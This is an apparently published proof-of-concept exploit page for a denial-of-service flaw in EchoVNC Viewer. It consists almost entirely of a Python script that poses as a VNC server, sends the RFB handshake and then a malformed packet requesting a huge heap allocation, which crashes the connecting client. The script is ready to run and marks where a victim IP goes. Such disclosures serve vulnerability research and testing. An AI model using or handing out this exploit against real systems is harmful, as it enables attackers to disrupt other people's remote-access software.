EchoVNC Viewer Remote DoS PoC

:
05.08.2013
:
EchoVNC Viewe
:

#!/usr/bin/env python
#================================================================#
# [+] Title: EchoVNC Viewer Remote DoS Vulnerability #
# [+] Discovered: 29/07/2013 #
# [+] Software Vendor: http://sourceforge.net/projects/echovnc/ #
# [+] Author: Z3r0n3 - Independent Security Researcher #
# [+] Contact: z3r0n3@mail.com #
# [+] Overview: #
# A remote attacker can crash EchoVNC Viewer by sending a #
# malformed request. the crash occurs when EchoVNC #
# Viewer allocate a buffer from heap with the size specified #
# by the malicious server. #
# [+] NOTICE: #
# You need to configure EchoVNC Viewer with the specified #
# host/port below. #
# When running the exploit, you need to put the IP and press #
# OK button on EchoVNC Viewer main window. #
#================================================================#

import socket, sys;

host="localhost" # Put the victim IP here
port=5900;
malreq=b"\x00\x00\x00\x00\x90\x90\x90\x90" # the first 4 bytes specifies if the
# server needs authentication
# \x00\x00\x00\x00 means the server
# doesn't need user/password
# the last 4 bytes specifies the
# buffer size that will be allocated
# in heap

print("[+] Creating socket...");
srv=socket.socket(socket.AF_INET, socket.SOCK_STREAM);
try:
print("[+] Trying to bind..");
srv.bind((host,port));
except socket.error:
print("[!] Can't connect...");
srv.close()
sys.exit()

print("[+] Trying to listen to %s:%d"%(host,port));
srv.listen(5)
cnx, addr=srv.accept()
print("[+] Client connected %s:%s"%(addr[0], addr[1]))
print("[+] Sending protocol signature...");
cnx.send(b"RFB 003.008\n")
print("[+] Sending malformed request with huge size for heap allocation");
cnx.send(malreq);
cnx.close()
srv.close()
print("[x] EchoVNC Viewer should be down...");